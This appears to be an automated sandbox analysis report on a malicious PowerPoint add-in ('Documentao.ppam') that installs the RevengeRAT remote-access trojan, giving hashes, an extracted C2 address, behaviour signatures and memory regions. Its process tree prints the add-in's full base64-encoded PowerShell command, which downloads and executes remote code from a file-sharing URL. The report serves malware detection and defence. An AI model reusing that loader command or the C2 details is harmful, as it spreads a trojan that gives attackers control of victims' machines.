Analysis

  • max time kernel
    151s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2023 09:17

General

  • Target

    Documentao.ppam

  • Size

    17KB

  • MD5

    4f1c17e2da8035b8fd827f0fc93a1a40

  • SHA1

    a47bf8b3d28d36279cb8a5a22f8c9a35206327a6

  • SHA256

    aebe55c79817edcc4acff994e9dcb9230487092073bec48ea87448b90db1f888

  • SHA512

    f80fb5e5f30191abd95bfec14637f2c7a47d8d1293cad3a9be20acafdd41aa5e833d17db8c65093a0c8b7d24b14e18a1d8092ef8acba5c4cd6a7dd6a620dc9b5

  • SSDEEP

    384:dXPW8kJL8XaHgQOeE2kq9KkqkPGv9tMp4V9zNNxChJd:VPFaAn2kqnRctMgbNxChJd

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Documentao.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9ADkAZQA0ADQANAAxAGYAMAAyAGUANQAzADkAMQBiADIAYwBlADMAMQBkAGIAYwA1AGYANQA0AGMAOQA5AGMAMABhAGQAZgAmAGIAaQBwAD0ATQBqAEEAeABMAGoASQB3AEwAagBFAHkATgB5ADQAeQBNAGoAWQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAG4AegBWAGsARgBGAG4AeQBTAEgAbgBWAHoARgBFAGQAVgB2AFIATwBCAGgAdQBUAE4AdgBDAFUAZQBRAHoAegBOAGsAVQBpAE0AaABrAE0ASwBGAFMASQBiAGQAYwBvAEgAeQBvAGQAUwBrAFoAaQBoAEcAQQBuAGQAQQANAAoA""
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2144
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        3⤵
          PID:1220

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g5xmg4eu.yjx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1220-212-0x0000000005820000-0x0000000005830000-memory.dmp

      Filesize

      64KB

    • memory/1220-201-0x0000000005820000-0x0000000005830000-memory.dmp

      Filesize

      64KB

    • memory/1220-199-0x0000000005BE0000-0x0000000006184000-memory.dmp

      Filesize

      5.6MB

    • memory/1220-196-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/2144-189-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/2144-185-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/2144-193-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/2144-195-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/2144-184-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/2144-179-0x0000014AB1210000-0x0000014AB1232000-memory.dmp

      Filesize

      136KB

    • memory/2144-180-0x0000014AB1170000-0x0000014AB1180000-memory.dmp

      Filesize

      64KB

    • memory/2144-181-0x0000014AB1170000-0x0000014AB1180000-memory.dmp

      Filesize

      64KB

    • memory/2144-182-0x0000014AB1170000-0x0000014AB1180000-memory.dmp

      Filesize

      64KB

    • memory/2144-191-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/2144-187-0x0000014AB1720000-0x0000014AB1738000-memory.dmp

      Filesize

      96KB

    • memory/3232-136-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-133-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-138-0x00007FFDB9D10000-0x00007FFDB9D20000-memory.dmp

      Filesize

      64KB

    • memory/3232-160-0x0000027F74BF0000-0x0000027F74DF0000-memory.dmp

      Filesize

      2.0MB

    • memory/3232-159-0x0000027F74BF0000-0x0000027F74DF0000-memory.dmp

      Filesize

      2.0MB

    • memory/3232-137-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-139-0x00007FFDB9D10000-0x00007FFDB9D20000-memory.dmp

      Filesize

      64KB

    • memory/3232-135-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-208-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-209-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-211-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-210-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB

    • memory/3232-134-0x00007FFDBBE70000-0x00007FFDBBE80000-memory.dmp

      Filesize

      64KB